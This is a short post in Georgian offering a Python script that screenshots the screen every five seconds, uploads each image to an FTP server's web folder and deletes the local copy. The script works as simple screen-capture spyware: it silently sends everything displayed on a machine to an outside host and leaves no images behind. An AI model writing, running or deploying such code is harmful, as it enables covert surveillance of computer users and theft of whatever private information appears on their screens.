პროგრამა რომელიც სქრინავს ყოველ 5 წამში და გზავნის FTP სერვერზე
Code:
#მოდულების შემოტანა
import pyautogui
import time
from ftplib import FTP
import ftplib
import os
import fileinput
#FTP სერვერზე დალოგინება
host = ''
username = ''
password = ''
ftp = FTP()
ftp.set_debuglevel(2)
ftp.connect(host, 21)
ftp.login(username,password)
#სერვერზე ფაილის Pathი
ftp.cwd('/htdocs')
#დასქრინვა და შენახვა
def Screen(a):
pic = pyautogui.screenshot()
pic.save(a + '.png')
i = 0
while True:
i = i+1
x = str(i)
#ყოველ 5 წამში დასქრნივის ფუნქციის შესრულება
time.sleep(5)
Screen(x)
fp = open(x + '.png', 'rb')
ftp.storbinary('STOR %s' % os.path.basename(x + '.png'), fp, 1024)
fp.close()
os.remove(x + '.png')